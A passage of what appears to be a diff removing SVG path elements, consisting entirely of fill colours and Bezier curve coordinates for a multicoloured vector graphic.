-	C110.986855,138.655716 110.984352,138.823761 110.568382,138.993530 
-	C104.341751,138.349518 101.381310,143.444901 96.950714,145.587448 
-	C88.580208,149.635254 80.290718,153.850571 71.967552,157.996262 
-	C70.402557,156.880783 68.837555,155.765305 67.110962,154.362640 
-z"/>
-<path fill="#6DC6FD" opacity="1.000000" stroke="none" 
-	d="
-M129.996552,74.258217 
-	C129.186996,73.597511 128.377426,72.936806 127.281075,71.911652 
-	C126.994278,71.547218 126.975159,71.097847 126.872467,70.855759 
-	C126.485771,70.419563 126.201759,70.225449 125.937088,70.061539 
-	C125.956429,70.091751 125.896667,70.131462 125.896240,69.766556 
-	C125.443016,68.338036 125.159180,67.155609 124.508926,66.230820 
-	C121.248329,61.593521 114.732285,58.976768 115.601860,51.769451 
-	C115.626518,51.565086 115.109917,51.339474 114.953598,51.062801 
-	C110.618050,43.389305 106.296501,35.707901 102.331299,28.019855 
-	C103.402100,28.018196 104.114243,28.024488 104.896393,28.238657 
-	C104.966408,28.446533 105.052597,28.876682 105.083107,29.238018 
-	C106.097221,30.047491 107.080818,30.495628 108.027466,30.955856 
-	C107.990509,30.967949 108.057510,30.924711 108.038284,31.323957 
-	C109.048553,37.477173 111.006958,42.603317 117.103989,45.263512 
-	C117.475945,46.014011 117.739952,46.506245 118.035919,47.345055 
-	C119.044937,48.794628 120.022011,49.897625 121.038170,51.356606 
-	C123.474258,56.229324 125.856476,60.754055 128.287384,65.252480 
-	C128.584595,65.802483 129.079971,66.536789 129.589951,66.635414 
-	C134.780899,67.639397 134.865250,72.620819 136.632019,75.983269 
-	C134.832718,75.693115 133.405029,75.410286 131.977341,75.127464 
-	C131.977341,75.127464 131.555359,74.985947 131.206360,74.761467 
-	C130.612869,74.312973 130.325928,74.220055 129.996552,74.258217 
-z"/>
-<path fill="#BEB9FE" opacity="1.000000" stroke="none" 
-	d="
-M72.125366,158.291443 
-	C80.290718,153.850571 88.580208,149.635254 96.950714,145.587448 
-	C101.381310,143.444901 104.341751,138.349518 110.422028,139.347153 
-	C110.458450,141.465378 110.227745,143.231705 109.682678,145.136169 
-	C103.074982,148.944458 96.777168,152.606964 90.489960,156.287582 
-	C86.626656,158.549240 82.779587,160.838608 78.925224,163.115540 
-	C76.711205,161.605911 74.497192,160.096268 72.125366,158.291443 
-z"/>
-<path fill="#1DCFAF" opacity="1.000000" stroke="none" 
-	d="
-M60.117599,49.045368 
-	C60.456120,48.959114 60.702671,48.759354 61.211597,48.092789 
-	C62.105080,46.878876 62.644222,46.018257 63.183365,45.157639 
-	C63.183369,45.157642 63.070953,44.982208 63.376030,44.982285 
-	C64.127106,44.685734 64.573105,44.389103 64.985336,44.425339 
-	C64.734543,45.636978 64.517509,46.515755 64.175926,47.898834 
-	C65.331543,47.567528 65.999008,47.527779 66.487053,47.211323 
-	C69.368599,45.342899 72.094597,43.203381 75.092064,41.553104 
-	C78.582535,39.631401 82.646919,38.593422 85.803116,36.274738 
-	C88.215050,34.502815 89.601410,31.334888 91.670349,29.036760 
-	C92.539719,31.199093 93.182716,33.112598 93.685562,35.120811 
-	C93.652786,35.472282 93.760162,35.729046 93.958450,36.192585 
-	C94.049377,36.399361 94.063454,36.850906 94.024178,37.132614 
-	C93.963165,37.602394 93.941437,37.790459 93.554474,38.028252 
-	C87.114807,39.897011 81.533661,42.534531 77.212471,47.394325 
-	C76.591568,48.092617 75.536407,48.399193 74.694557,48.907497 
-	C69.124695,52.270569 63.558205,55.639225 57.565224,59.006004 
-	C55.713428,58.987026 54.287033,58.968109 52.978035,58.658546 
-	C53.464760,57.636864 53.834084,56.905830 54.203407,56.174797 
-	C54.203411,56.174797 54.085869,56.083946 54.347771,56.132221 
-	C54.877209,56.020294 55.161884,55.900974 55.805325,55.762157 
-	C56.424549,55.116478 56.702141,54.531178 56.991722,53.703182 
-	C57.003716,53.460487 56.949253,52.977570 56.949253,52.977570 
-	C56.949253,52.977570 57.004593,52.990776 57.193405,52.975929 
-	C57.382221,52.961086 57.794987,52.926323 58.064201,52.845863 
-	C58.511520,52.450428 58.689632,52.135460 58.870674,51.869072 
-	C58.873604,51.917656 58.783649,51.880455 59.071030,51.786221 
-	C59.583370,51.160057 59.808327,50.628124 60.064449,49.834293 
-	C60.102947,49.396717 60.110275,49.221043 60.117599,49.045368 
-z"/>
-<path fill="#DFADFE" opacity="1.000000" stroke="none" 
-	d="
-M63.999397,149.000000 
-	C62.620239,148.669907 61.241085,148.339798 59.510635,148.003540 
-	C57.085758,146.305893 55.012180,144.614380 52.919250,142.517883 
-	C52.899895,142.112900 53.012352,141.987671 53.395065,141.997711 
-	C55.708542,141.900757 57.785397,142.205353 59.533848,141.584747 
-	C61.824841,140.771576 63.856625,139.228119 66.356033,137.963348 
-	C69.314758,136.279083 71.851616,134.513535 74.532364,133.003418 
-	C82.323906,128.614288 90.173111,124.327530 97.948257,120.343475 
-	C95.032997,122.855759 92.182220,125.042664 89.302071,127.190193 
-	C85.607025,129.945343 81.656319,132.410095 78.240509,135.473572 
-	C74.254379,139.048523 70.726570,143.134521 66.678726,147.025085 
-	C65.571495,147.700912 64.785446,148.350464 63.999397,149.000000 
-z"/>
-<path fill="#9FC5FD" opacity="1.000000" stroke="none" 
-	d="
-M91.900719,173.044022 
-	C90.448738,172.110489 88.996758,171.176956 87.320892,169.706757 
-	C89.011215,167.783981 90.737022,165.852768 92.874924,165.113800 
-	C99.320793,162.885773 105.612610,160.697723 109.276833,154.267075 
-	C109.848900,153.263077 111.207985,152.707550 112.203140,151.944641 
-	C112.458336,154.026901 112.713539,156.109146 112.547775,158.609039 
-	C111.438049,159.585693 110.400192,160.005569 110.113525,160.724854 
-	C106.499115,169.793564 101.115799,176.378937 91.900719,173.044022 
-z"/>
-<path fill="#59CAFE" opacity="1.000000" stroke="none" 
-	d="
-M101.972641,28.027805 
-	C106.296501,35.707901 110.618050,43.389305 114.953598,51.062801 
-	C115.109917,51.339474 115.626518,51.565086 115.601860,51.769451 
-	C114.732285,58.976768 121.248329,61.593521 124.508926,66.230820 
-	C125.159180,67.155609 125.443016,68.338036 125.561798,69.704712 
-	C123.821571,69.333527 122.415359,68.659294 121.009140,67.985062 
-	C120.800606,67.724434 120.592072,67.463799 120.038208,66.818527 
-	C118.463234,65.620369 117.233589,64.806847 116.003944,63.993332 
-	C115.174347,63.089169 114.344742,62.185005 113.186310,60.803612 
-	C111.208382,56.938725 109.559273,53.551064 107.902763,49.783833 
-	C106.861938,47.994217 105.828514,46.584175 104.819382,45.138893 
-	C104.843666,45.103649 104.929214,45.100430 104.938179,44.781281 
-	C104.598030,43.984295 104.248917,43.506454 103.936859,43.013184 
-	C103.973915,42.997761 103.937927,43.069515 103.939575,42.754532 
-	C103.598793,41.967045 103.256363,41.494541 102.948578,41.035904 
-	C102.983231,41.049774 102.928535,41.100571 102.959106,40.734772 
-	C102.269989,39.285511 101.550293,38.202053 100.853851,37.092209 
-	C100.877098,37.065823 100.943245,37.089706 100.946327,36.771957 
-	C100.602669,35.977230 100.255936,35.500252 99.946472,35.024574 
-	C99.983742,35.025875 99.962372,35.097332 99.883423,34.861271 
-	C99.629417,34.321232 99.372856,34.122459 99.034775,34.028893 
-	C98.965408,33.873211 98.896042,33.717525 98.829750,32.969872 
-	C98.178177,30.623802 97.523521,28.869703 97.096436,26.839710 
-	C98.232697,26.356934 99.141388,26.150051 100.030525,25.960939 
-	C100.010979,25.978710 100.054604,25.934805 100.068359,26.262886 
-	C100.712296,27.069914 101.342468,27.548859 101.972641,28.027805 
-z"/>
-<path fill="#09CDBE" opacity="1.000000" stroke="none" 
-	d="
-M91.443970,28.787933 
-	C89.601410,31.334888 88.215050,34.502815 85.803116,36.274738 
-	C82.646919,38.593422 78.582535,39.631401 75.092064,41.553104 
-	C72.094597,43.203381 69.368599,45.342899 66.487053,47.211323 
-	C65.999008,47.527779 65.331543,47.567528 64.175926,47.898834 
-	C64.517509,46.515755 64.734543,45.636978 65.041931,44.144699 
-	C65.222328,43.165440 65.312378,42.799683 65.402428,42.433922 
-	C65.402428,42.433922 65.207977,42.194508 65.568024,42.254616 
-	C66.207161,42.129166 66.510986,42.003315 67.099236,41.852463 
-	C67.549469,41.468517 67.740021,41.169270 67.942253,40.910915 
-	C67.953926,40.951805 67.870178,40.937012 68.140182,40.817490 
-	C68.560921,40.346436 68.711639,39.994900 69.061646,39.391586 
-	C70.814301,37.081211 72.367691,35.022614 73.921082,32.964020 
-	C73.921082,32.964020 73.989243,32.986137 74.233765,32.910084 
-	C74.637848,32.554192 74.797409,32.274357 74.956970,31.994522 
-	C74.956970,31.994520 75.004059,32.004749 75.252853,31.937773 
-	C75.691658,31.596556 75.881660,31.322315 76.071663,31.048075 
-	C76.071663,31.048075 76.003242,31.003532 76.362633,30.994083 
-	C78.498619,29.665363 80.275223,28.346092 82.051819,27.026821 
-	C82.051819,27.026819 82.535370,26.983032 83.012077,26.908253 
-	C83.850769,26.831701 84.212746,26.829931 84.986694,26.878922 
-	C87.368591,27.555630 89.338539,28.181576 91.341972,28.800016 
-	C91.375465,28.792511 91.443970,28.787933 91.443970,28.787933 
-z"/>
-<path fill="#48D874" opacity="1.000000" stroke="none" 
-	d="
-M102.063210,63.030651 
-	C101.297279,63.020557 100.531357,63.010464 99.390045,62.634476 
-	C99.641800,60.757278 100.268936,59.245979 101.257263,56.864258 
-	C97.802612,59.318386 95.340050,61.298943 92.661201,62.922665 
-	C87.077347,66.307182 81.485741,69.707954 75.697899,72.718689 
-	C69.924667,75.721825 63.907681,78.256355 58.050697,80.651154 
-	C61.270241,78.439857 64.556198,76.744354 67.556923,74.641785 
-	C69.277237,73.436386 70.534348,71.569946 72.217865,69.732040 
-	C80.220612,65.232590 88.051079,61.082802 95.762108,56.721817 
-	C98.024033,55.442581 99.946854,53.563744 102.267975,52.137535 
-	C102.952629,52.975357 103.394394,53.635357 103.836159,54.295353 
-	C103.836159,54.295353 103.892059,54.680405 104.013962,55.114552 
-	C104.369904,55.819077 104.603951,56.089451 104.837990,56.359825 
-	C104.894020,56.737297 104.950043,57.114761 105.011482,58.087730 
-	C104.828514,59.310413 104.640137,59.937588 104.253395,60.312119 
-	C103.727577,61.061531 103.400124,62.063591 103.057785,63.061531 
-	C103.042892,63.057411 103.074043,63.049873 102.821320,63.045769 
-	C102.400146,63.037991 102.231682,63.034321 102.063210,63.030651 
-z"/>
-<path fill="#42D37A" opacity="1.000000" stroke="none" 
-	d="
-M71.999992,70.001099 
-	C70.534348,71.569946 69.277237,73.436386 67.556923,74.641785 
-	C64.556198,76.744354 61.270241,78.439857 57.800903,80.652077 
-	C57.497971,80.998184 56.998322,80.999741 56.655334,81.033813 
-	C55.207188,82.376793 54.102032,83.685692 52.605537,84.995972 
-	C51.113934,85.232452 49.853443,85.199356 48.939087,85.745636 
-	C42.421963,89.639236 35.955875,93.620193 29.546680,97.688560 
-	C29.074043,97.988571 29.173344,99.189590 28.599390,99.984695 
-	C27.376108,100.030807 26.560186,100.063965 25.744263,100.097122 
-	C25.571823,99.999786 25.399382,99.902443 25.114521,99.557831 
-	C25.002102,99.310577 25.014940,99.360329 25.014942,99.360329 
-	C24.933762,98.815094 24.852581,98.269867 25.087622,97.242340 
-	C25.645887,96.600616 25.829479,96.390167 25.899426,95.902359 
-	C25.709604,95.381363 25.495415,95.165825 25.201660,95.029396 
-	C25.303030,94.469711 25.404400,93.910019 26.093010,93.142166 
-	C31.056398,90.814415 34.063381,85.624306 40.348396,86.961411 
-	C46.007946,83.850586 51.250530,80.654648 56.642010,77.733528 
-	C61.679165,75.004387 66.874359,72.566940 71.999992,70.001099 
-z"/>
-<path fill="#31E5BD" opacity="1.000000" stroke="none" 
-	d="
-M161.075806,86.682327 
-	C155.307907,88.784416 149.623016,91.169334 143.744598,92.894943 
-	C139.406021,94.168526 134.837326,94.811577 130.323959,95.250633 
-	C128.803268,95.398575 127.137550,94.055786 125.256653,92.760971 
-	C124.947517,90.997978 124.919838,89.868340 125.017838,88.464539 
-	C125.444336,87.465805 125.745148,86.741234 126.045959,86.016663 
-	C126.372429,85.928261 126.628929,85.742989 127.134903,85.235672 
-	C127.454338,85.010475 127.906174,84.954788 128.212646,85.164467 
-	C130.697540,86.247765 132.908646,87.934776 135.048508,87.848793 
-	C142.733566,87.540024 150.394547,86.632065 158.385559,85.941818 
-	C159.496262,86.182800 160.286026,86.432564 161.075806,86.682327 
-z"/>
-<path fill="#2EDBED" opacity="1.000000" stroke="none" 
-	d="
-M173.312164,109.289948 
-	C169.693695,114.815697 166.163010,120.401367 162.439484,125.855400 
-	C153.079865,139.564926 143.720215,153.276520 134.142181,166.832993 
-	C132.388992,169.314392 129.906311,171.770752 127.199821,172.930161 
-	C125.107384,173.826553 122.138557,172.677170 119.629593,171.961975 
-	C119.797043,171.018250 119.894257,170.549835 120.290131,170.287277 
-	C123.313286,173.046371 126.099091,172.730698 128.347519,170.094879 
-	C132.462677,165.270660 136.626434,160.435410 140.203293,155.216415 
-	C146.069550,146.656967 151.483017,137.787216 157.393066,128.895645 
-	C160.814056,123.844955 163.929413,118.946938 167.033081,114.038956 
-	C167.021408,114.028992 167.036392,114.037132 167.374634,114.005844 
-	C168.485794,113.002502 169.258698,112.030449 170.299652,110.925323 
-	C171.333832,110.160980 172.099945,109.529732 172.978867,108.994881 
-	C173.091675,109.091286 173.312164,109.289948 173.312164,109.289948 
-z"/>
-<path fill="#ABC1FD" opacity="1.000000" stroke="none" 
-	d="
-M112.217377,151.485779 
-	C111.207985,152.707550 109.848900,153.263077 109.276833,154.267075 
-	C105.612610,160.697723 99.320793,162.885773 92.874924,165.113800 
-	C90.737022,165.852768 89.011215,167.783981 87.054115,169.511002 
-	C85.128288,168.408371 83.245346,166.964844 81.362503,164.926880 
-	C82.041916,163.909332 82.702049,163.153992 83.403435,163.113525 
-	C92.329918,162.598495 98.499023,156.259109 105.729767,152.296265 
-	C107.848946,151.134842 108.612282,147.499496 109.997040,144.998016 
-	C110.227745,143.231705 110.458450,141.465378 110.835510,139.345444 
-	C110.984352,138.823761 110.986855,138.655716 111.284943,138.231995 
-	C111.775955,137.963150 111.971375,137.949982 112.166801,137.936798 
-	C112.188408,142.300171 112.210014,146.663544 112.217377,151.485779 
-z"/>
-<path fill="#9CC0FC" opacity="1.000000" stroke="none" 
-	d="
-M127.232109,43.909119 
-	C127.733772,44.096237 128.235443,44.283356 128.904083,45.068562 
-	C134.324539,53.484470 139.566345,61.310204 144.858398,69.101814 
-	C145.200592,69.605637 145.885452,69.964035 146.486130,70.191063 
-	C150.997391,71.896103 152.578049,75.833427 153.987991,79.913918 
-	C151.805069,79.507988 149.622131,79.102058 147.177765,78.079117 
-	C146.279633,76.973572 145.642929,76.485039 144.762848,75.841995 
-	C144.013596,75.124481 143.507706,74.561478 142.996674,73.623245 
-	C139.327026,67.334206 135.718704,61.383972 131.933319,55.548584 
-	C131.407654,54.738232 130.008667,54.494404 129.012146,53.656784 
-	C129.007095,52.883232 129.003845,52.441200 128.966263,51.645805 
-	C126.938133,47.878376 124.944351,44.464317 122.993149,41.002602 
-	C123.035728,40.954945 123.118286,40.857361 123.118286,40.857361 
-	C123.993698,41.337803 124.869110,41.818245 125.999832,42.835457 
-	C126.580795,43.551193 126.906448,43.730156 127.232109,43.909119 
-z"/>
-<path fill="#AFBDFC" opacity="1.000000" stroke="none" 
-	d="
-M154.388931,79.960388 
-	C152.578049,75.833427 150.997391,71.896103 146.486130,70.191063 
-	C145.885452,69.964035 145.200592,69.605637 144.858398,69.101814 
-	C139.566345,61.310204 134.324539,53.484470 129.047714,45.301472 
-	C132.846664,47.810295 136.668961,50.684296 140.748352,54.138206 
-	C141.228973,55.494511 141.243317,56.437576 141.708496,57.021439 
-	C146.185165,62.640297 150.694138,68.234924 155.288162,73.758072 
-	C157.395645,76.291794 159.712875,78.651085 161.934982,81.089478 
-	C159.553284,80.728600 157.171570,80.367722 154.388931,79.960388 
-z"/>
-<path fill="#82C3FD" opacity="1.000000" stroke="none" 
-	d="
-M129.000610,51.999172 
-	C129.003845,52.441200 129.007095,52.883232 129.011993,54.032623 
-	C131.574997,59.391476 134.136871,64.042656 136.697403,68.694580 
-	C138.117020,71.273720 138.568161,75.002548 143.001831,73.998474 
-	C143.507706,74.561478 144.013596,75.124481 144.760941,76.163025 
-	C144.998672,77.066154 144.994919,77.493752 144.991180,77.921341 
-	C143.976151,77.897675 142.961136,77.874008 141.349304,77.569901 
-	C139.502884,76.856506 138.253250,76.423553 137.003616,75.990593 
-	C134.865250,72.620819 134.780899,67.639397 129.589951,66.635414 
-	C129.079971,66.536789 128.584595,65.802483 128.287384,65.252480 
-	C125.856476,60.754055 123.474258,56.229324 121.034637,50.992393 
-	C119.995995,49.180962 118.999985,48.089718 118.003967,46.998474 
-	C117.739952,46.506245 117.475945,46.014011 117.105461,44.896729 
-	C117.333893,43.181274 117.668800,42.090866 118.312378,41.152901 
-	C119.757744,43.074047 120.632858,45.108185 122.093781,46.547855 
-	C124.170242,48.594109 126.677444,50.203266 129.000610,51.999172 
-z"/>
-<path fill="#C1B9FC" opacity="1.000000" stroke="none" 
-	d="
-M161.954987,81.072624 
-	C159.712875,78.651085 157.395645,76.291794 155.288162,73.758072 
-	C150.694138,68.234924 146.185165,62.640297 141.708496,57.021439 
-	C141.243317,56.437576 141.228973,55.494511 141.001923,54.349228 
-	C145.465042,57.243908 149.931702,60.507481 154.692596,64.332886 
-	C157.624008,68.772278 160.014893,72.851936 162.977524,76.462433 
-	C165.280685,79.269272 168.296646,81.491211 170.995804,83.973114 
-	C168.499542,83.525322 166.003296,83.077530 163.142670,82.111328 
-	C162.497177,81.404175 162.216049,81.215424 161.934921,81.026672 
-	C161.934921,81.026672 161.975006,81.055779 161.954987,81.072624 
-z"/>
-<path fill="#99CAFA" opacity="1.000000" stroke="none" 
-	d="
-M92.091698,173.347046 
-	C101.115799,176.378937 106.499115,169.793564 110.113525,160.724854 
-	C110.400192,160.005569 111.438049,159.585693 112.501884,159.012878 
-	C112.929710,160.316986 112.970718,161.635452 113.037277,162.952637 
-	C113.292488,168.002701 113.559731,173.305359 108.075394,175.857315 
-	C102.552246,178.427353 97.158363,177.189072 92.091698,173.347046 
-z"/>
-<path fill="#B4BDFE" opacity="1.000000" stroke="none" 
-	d="
-M109.682678,145.136169 
-	C108.612282,147.499496 107.848946,151.134842 105.729767,152.296265 
-	C98.499023,156.259109 92.329918,162.598495 83.403435,163.113525 
-	C82.702049,163.153992 82.041916,163.909332 81.187592,164.653488 
-	C80.412308,164.520416 79.812019,164.066284 79.068481,163.363846 
-	C82.779587,160.838608 86.626656,158.549240 90.489960,156.287582 
-	C96.777168,152.606964 103.074982,148.944458 109.682678,145.136169 
-z"/>
-<path fill="#41E4B8" opacity="1.000000" stroke="none" 
-	d="
-M158.064636,85.950592 
-	C150.394547,86.632065 142.733566,87.540024 135.048508,87.848793 
-	C132.908646,87.934776 130.697540,86.247765 128.394348,84.882233 
-	C130.176956,83.216026 132.084351,82.041733 133.991745,80.867447 
-	C134.745819,80.865654 135.499893,80.863861 136.979889,80.969818 
-	C139.161285,81.320236 140.616745,81.562897 142.072220,81.805565 
-	C142.729645,81.932281 143.387085,82.059006 144.604263,82.426895 
-	C145.782928,82.729706 146.401840,82.791344 147.020752,82.852982 
-	C147.448257,82.927155 147.875778,83.001320 148.859192,83.327209 
-	C150.289444,83.682671 151.163788,83.786400 152.038116,83.890129 
-	C152.038116,83.890129 152.477158,84.023964 152.934677,84.284782 
-	C154.265152,84.653076 155.138092,84.760544 156.011047,84.868019 
-	C156.435608,84.942673 156.860184,85.017326 157.635437,85.312805 
-	C157.986145,85.533630 158.064636,85.950592 158.064636,85.950592 
-z"/>
-<path fill="#3FD28B" opacity="1.000000" stroke="none" 
-	d="
-M39.996422,86.996246 
-	C34.063381,85.624306 31.056398,90.814415 26.327808,92.965942 
-	C27.595495,90.270729 29.215620,87.543571 31.204998,84.386742 
-	C31.735327,83.644165 31.896402,83.331276 32.057480,83.018379 
-	C32.304283,82.801895 32.551090,82.585411 33.108387,82.063965 
-	C33.712543,81.571617 33.862606,81.303764 33.869064,80.955437 
-	C34.156643,80.751884 34.444221,80.548332 35.077957,80.099602 
-	C35.424114,79.854416 35.885571,79.754944 36.076874,80.037598 
-	C39.178585,79.214203 42.088993,78.108170 45.376823,76.996582 
-	C49.170395,75.662338 52.586540,74.333656 55.963943,73.360901 
-	C54.472897,74.899086 52.965679,76.020645 51.578876,77.275314 
-	C47.837631,80.660088 40.261925,79.481491 39.996422,86.996246 
-z"/>
-<path fill="#D4BAF9" opacity="1.000000" stroke="none" 
-	d="
-M171.360321,83.983406 
-	C168.296646,81.491211 165.280685,79.269272 162.977524,76.462433 
-	C160.014893,72.851936 157.624008,68.772278 154.976746,64.520630 
-	C161.137177,69.423561 167.405136,74.592583 173.431244,80.029655 
-	C175.913300,82.269096 174.774384,83.731194 171.360321,83.983406 
-z"/>
-<path fill="#4ED75F" opacity="1.000000" stroke="none" 
-	d="
-M74.357994,84.865845 
-	C74.655922,80.638794 76.559074,77.822273 81.410797,77.899841 
-	C82.244957,77.913177 83.578514,76.961082 83.862961,76.163185 
-	C85.682289,71.059769 88.079559,72.631294 90.652756,75.972580 
-	C88.429390,78.030502 86.243294,79.501183 84.057198,80.971863 
-	C80.943283,82.262848 77.829369,83.553841 74.357994,84.865845 
-z"/>
-<path fill="#39D297" opacity="1.000000" stroke="none" 
-	d="
-M44.999397,77.002136 
-	C42.088993,78.108170 39.178585,79.214203 36.046772,79.845955 
-	C35.825367,79.371666 35.721550,78.996483 35.721550,78.996483 
-	C36.112888,78.584030 36.504223,78.171577 37.242825,77.368286 
-	C37.752628,76.662300 37.915165,76.347145 38.077698,76.031990 
-	C38.417328,75.675941 38.756962,75.319893 39.410969,74.574905 
-	C39.898518,73.854324 40.071693,73.522667 40.244869,73.191017 
-	C40.244869,73.191017 40.125637,73.248154 40.478569,73.148956 
-	C41.264492,72.385284 41.697487,71.720825 42.130478,71.056358 
-	C42.457348,70.962090 42.697338,70.763062 43.157410,70.140221 
-	C43.612728,69.534187 43.761074,69.247208 43.909416,68.960228 
-	C43.909416,68.960228 43.987370,68.980354 44.211544,68.921898 
-	C44.435719,68.863441 44.919014,68.774216 44.977108,69.120499 
-	C46.022724,70.310303 47.010246,71.153816 47.864761,72.302574 
-	C46.820972,74.072586 45.910183,75.537361 44.999397,77.002136 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M103.889618,53.871803 
-	C103.394394,53.635357 102.952629,52.975357 102.223099,51.832069 
-	C101.064484,50.521534 100.193634,49.694290 99.286156,48.510536 
-	C98.886215,47.079796 98.522896,46.005562 98.118637,44.632484 
-	C97.785133,43.856354 97.492577,43.379074 97.155800,42.578148 
-	C97.028061,41.827976 96.944550,41.401451 96.902130,40.681877 
-	C96.641541,39.909271 96.339867,39.429718 96.029823,38.960030 
-	C96.021461,38.969894 96.055084,38.956268 96.024323,38.632339 
-	C95.350189,37.822578 94.706818,37.336742 94.063454,36.850906 
-	C94.063454,36.850906 94.049377,36.399361 93.990768,35.950783 
-	C93.932152,35.502209 93.825714,35.026104 93.825714,35.026104 
-	C93.182716,33.112598 92.539719,31.199093 91.670349,29.036760 
-	C91.443970,28.787933 91.375465,28.792511 91.346680,28.491161 
-	C91.265419,27.781393 91.212936,27.372976 91.160461,26.964560 
-	C92.450317,28.844435 93.625397,30.819214 95.072449,32.569099 
-	C95.961075,33.643700 97.265900,34.374123 98.928238,35.166313 
-	C99.472626,35.073540 99.962372,35.097332 99.962372,35.097332 
-	C99.962372,35.097332 99.983742,35.025875 99.959442,35.338772 
-	C99.994415,36.065510 100.053696,36.479351 100.051041,36.956276 
-	C99.989113,37.019356 99.868637,37.148735 99.868637,37.148735 
-	C99.384247,38.043255 98.284752,39.169987 98.519905,39.792866 
-	C99.653328,42.795200 101.223785,45.628929 102.480232,48.589931 
-	C103.136963,50.137608 103.466026,51.824329 103.889618,53.871803 
-z"/>
-<path fill="#409F53" opacity="1.000000" stroke="none" 
-	d="
-M84.444328,81.063797 
-	C86.243294,79.501183 88.429390,78.030502 90.812210,76.295052 
-	C94.659019,71.929260 98.309082,67.828247 102.011177,63.378937 
-	C102.231682,63.034321 102.400146,63.037991 102.819061,63.418190 
-	C103.092590,64.539650 103.115654,65.284569 103.138718,66.029495 
-	C103.138718,66.029495 102.891106,66.295784 102.647476,66.630005 
-	C102.296829,67.306892 102.189819,67.649567 102.082809,67.992233 
-	C98.032410,71.851807 94.096268,75.844185 89.860558,79.488373 
-	C88.622459,80.553574 86.531509,80.627480 84.444328,81.063797 
-z"/>
-<path fill="#46A762" opacity="1.000000" stroke="none" 
-	d="
-M25.940063,100.422211 
-	C26.560186,100.063965 27.376108,100.030807 28.973652,99.954948 
-	C36.165661,97.616722 42.576050,95.321190 48.986439,93.025658 
-	C49.017975,93.247673 49.049515,93.469688 49.166183,94.016945 
-	C42.386215,96.860596 35.537628,99.426727 28.628304,101.817322 
-	C27.996529,102.035904 26.975916,101.130676 25.940063,100.422211 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M118.027351,168.681076 
-	C117.807274,156.611053 117.536133,144.541641 117.388069,132.470734 
-	C117.310890,126.177849 117.450546,119.882317 117.743179,113.680763 
-	C118.067146,122.146782 118.140182,130.520020 118.151596,139.364792 
-	C118.069099,149.451248 118.048225,159.066162 118.027351,168.681076 
-z"/>
-<path fill="#F2B2F4" opacity="1.000000" stroke="none" 
-	d="
-M33.613976,105.147232 
-	C32.746037,106.526138 31.481350,107.844872 30.295496,109.231049 
-	C27.233730,112.810036 27.124365,117.303879 29.738962,121.203880 
-	C31.000088,123.085007 31.926998,125.190186 33.019424,127.560570 
-	C24.488102,120.722572 23.555361,110.994896 30.951992,105.813583 
-	C31.575537,105.376793 32.479469,105.340279 33.613976,105.147232 
-z"/>
-<path fill="#CAFDFB" opacity="1.000000" stroke="none" 
-	d="
-M158.385559,85.941818 
-	C158.064636,85.950592 157.986145,85.533630 157.958939,85.323288 
-	C164.207916,86.531105 170.528397,87.794838 176.703033,89.566849 
-	C177.457596,89.783386 177.429581,92.726791 177.556137,94.695229 
-	C176.460297,87.839638 170.238129,88.820335 164.982391,87.200104 
-	C163.886475,87.103142 163.462051,87.112396 163.037628,87.121643 
-	C162.606720,86.999870 162.175797,86.878105 161.410339,86.719330 
-	C160.286026,86.432564 159.496262,86.182800 158.385559,85.941818 
-z"/>
-<path fill="#BDC9F9" opacity="1.000000" stroke="none" 
-	d="
-M110.995728,136.004883 
-	C110.995148,134.933823 110.994576,133.862778 110.986374,132.389694 
-	C110.985107,129.290405 110.991455,126.593155 110.995850,123.112480 
-	C110.986992,121.884453 110.980087,121.439850 110.982666,120.558800 
-	C110.999718,118.086380 111.007263,116.050392 111.236382,114.010574 
-	C111.457947,114.006737 111.901077,113.998779 111.901077,113.998779 
-	C112.188019,121.135345 112.474968,128.271912 112.214020,135.727844 
-	C111.442657,136.033081 111.219193,136.018982 110.995728,136.004883 
-z"/>
-<path fill="#37CFB0" opacity="1.000000" stroke="none" 
-	d="
-M124.892151,88.738701 
-	C124.919838,89.868340 124.947517,90.997978 124.968185,92.550598 
-	C123.967896,93.864769 122.601357,94.571495 122.052437,95.682266 
-	C120.501755,98.820129 119.286423,102.123711 117.887283,105.748016 
-	C119.491150,100.660675 121.146683,95.187309 123.226425,89.333298 
-	C124.064476,88.881340 124.478317,88.810020 124.892151,88.738701 
-z"/>
-<path fill="#ECAAFE" opacity="1.000000" stroke="none" 
-	d="
-M105.002747,103.002609 
-	C104.665268,100.499786 104.327789,97.996971 104.061035,95.093750 
-	C105.990112,95.912827 107.848457,97.132309 109.621063,98.782471 
-	C109.269005,99.417274 109.085541,99.679398 108.720596,100.189667 
-	C107.305099,101.254082 106.153923,102.128342 105.002747,103.002609 
-z"/>
-<path fill="#D0B5FE" opacity="1.000000" stroke="none" 
-	d="
-M108.984909,99.999512 
-	C109.085541,99.679398 109.269005,99.417274 109.746460,99.093452 
-	C112.916214,103.382744 113.865761,108.078247 111.942184,113.588211 
-	C111.901077,113.998779 111.457947,114.006737 111.124603,113.788979 
-	C110.589851,113.293343 110.325493,113.102814 109.997513,112.590614 
-	C109.659546,108.120895 109.322227,104.060204 108.984909,99.999512 
-z"/>
-<path fill="#24B7CC" opacity="1.000000" stroke="none" 
-	d="
-M118.032394,168.982910 
-	C118.048225,159.066162 118.069099,149.451248 118.343391,139.405365 
-	C118.596809,138.974411 118.990150,139.001831 119.007889,139.470032 
-	C119.048943,149.928589 119.072250,159.918945 118.987946,170.003326 
-	C118.880325,170.097336 118.659561,170.278824 118.659561,170.278824 
-	C118.452187,169.947464 118.244820,169.616119 118.032394,168.982910 
-z"/>
-<path fill="#9CC0FC" opacity="1.000000" stroke="none" 
-	d="
-M110.052872,30.855707 
-	C113.666298,33.618492 117.279724,36.381279 121.010742,39.500023 
-	C121.128334,39.855988 120.989738,40.014847 120.617867,40.008766 
-	C119.502243,39.998486 118.758492,39.994289 117.742119,39.800262 
-	C114.641953,36.774483 111.814407,33.938530 109.257355,31.058086 
-	C109.702858,30.960968 109.877861,30.908339 110.052872,30.855707 
-z"/>
-<path fill="#D8FCF9" opacity="1.000000" stroke="none" 
-	d="
-M107.910164,50.163406 
-	C109.559273,53.551064 111.208382,56.938725 112.904617,60.676071 
-	C107.375092,59.685875 107.538391,54.574108 106.399689,50.212074 
-	C107.128716,49.977077 107.519440,50.070244 107.910164,50.163406 
-z"/>
-<path fill="#16B7BF" opacity="1.000000" stroke="none" 
-	d="
-M118.990150,139.001831 
-	C118.990150,139.001831 118.596809,138.974411 118.405014,138.933838 
